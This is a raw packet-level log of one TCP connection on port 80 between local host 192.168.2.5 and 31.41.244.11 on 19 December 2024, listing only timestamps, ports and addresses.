Dec 19, 2024 03:09:11.902810097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.902869940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.903702974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.903762102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.903827906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.903886080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.904681921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.904743910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.904798031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.904854059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.905630112 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.905706882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.905760050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.905822039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.906606913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.906666994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.906732082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.906791925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.907592058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.907649994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.907713890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.907800913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.908556938 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.908616066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.908684015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.908740997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.909538984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.909605026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.909668922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.909728050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.910520077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.910582066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.910645962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.910706997 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.911539078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.911600113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.911636114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.911696911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.912579060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.912637949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.912710905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.912776947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.913454056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.913522005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.913588047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.913645029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.914427042 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.914485931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.914551973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.914608955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.915460110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.915517092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.915577888 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.915635109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.916450024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.916506052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.916508913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.916559935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.917330027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.917438984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.058171988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.058249950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.058312893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.058384895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.058561087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.058618069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.059398890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.059473991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.059510946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.059634924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.060427904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.060486078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.060614109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.060760021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.061424017 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.061491966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.061528921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.061578989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.062340975 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.062391996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.062463999 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.062513113 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.063345909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.063399076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.063433886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.063481092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.064304113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.064393044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.064414024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.064462900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.065283060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.065361023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.065397978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.065679073 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.066251993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.066332102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.066354990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.066415071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.067224979 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.067290068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.067332983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.067380905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.068197966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.068267107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.068303108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.068352938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.069186926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.069236040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.069278955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.069329977 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.070158005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.070261955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.070312023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.071144104 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.071196079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.071238041 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.071290016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.072110891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.072161913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.072221994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.072268009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.073100090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.073149920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.073199987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.073251963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.074083090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.074136972 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.074174881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.074250937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.075036049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.075093985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.075155020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.075223923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.076109886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.076178074 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.076193094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.076241016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.076994896 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.077044010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.077167988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.077217102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.077980995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.078095913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.078151941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.078991890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.079041004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.079082966 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.079132080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.079967976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.080035925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.080117941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.080220938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.080933094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.080997944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.081064939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.081789017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.081947088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.082012892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.082048893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.082226992 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.090204000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.090269089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.090307951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.090323925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.090368032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.090703964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.090718985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.090734959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.090753078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.090759993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.090801001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.090833902 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.091552973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.091568947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.091584921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.091600895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.091614962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.091667891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.092426062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.092443943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.092459917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.092475891 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.092494011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.092519045 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.093269110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.093286991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.093302011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.093338966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.093358994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.096729040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.096793890 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.096834898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.096852064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.096884966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.096910000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.097271919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.097287893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.097304106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.097326994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.097357988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.097888947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.097904921 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.097928047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.097944021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.097970009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.098005056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.098726034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.098741055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.098766088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.098790884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.098792076 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.098830938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.098864079 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.099404097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.099421024 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.099467039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.099497080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.099776983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.099980116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.100040913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.100552082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.100611925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.100716114 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.100774050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.101520061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.101578951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.101630926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.102114916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.102499962 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.102602005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.102628946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.102694035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.103482008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.103547096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.103591919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.103646040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.104463100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.104532003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.104567051 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.104621887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.105631113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.105751038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.105817080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.106426001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.106491089 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.106538057 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.106595993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.107418060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.107507944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.107568979 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.108397007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.108485937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.108525991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.108583927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.109339952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.109399080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.250526905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.250602961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.250704050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.250973940 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.251036882 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.251099110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.251154900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.251945972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.252079010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.252130985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.252168894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.252935886 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.253043890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.253106117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.253926039 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.253988981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.254004955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.254056931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.254899025 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.254951000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.254981995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.255036116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.255851030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.255906105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.255947113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.256000996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.256834030 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.256899118 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.256942034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.256994009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.257863998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.257936954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.257960081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.258013010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.258805990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.258925915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.258985996 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.259789944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.259896040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.259902000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.259952068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.260772943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.260865927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.260922909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.261708021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.261837006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.261894941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.262720108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.262789965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.262902021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.262957096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.263719082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.263818026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.263850927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.263861895 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.264641047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.264769077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.264827013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.265646935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.265702963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.265783072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.265836000 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.266617060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.266736031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.266788960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.267612934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.267672062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.267713070 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.267770052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.268610001 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.268667936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.268716097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.268768072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.269545078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.269598007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.269656897 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.269709110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.270575047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.270627975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.270638943 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.270692110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.271541119 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:12.271596909 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:12.271626949 CET	80	49835	31.41.244.11	192.168.2.5
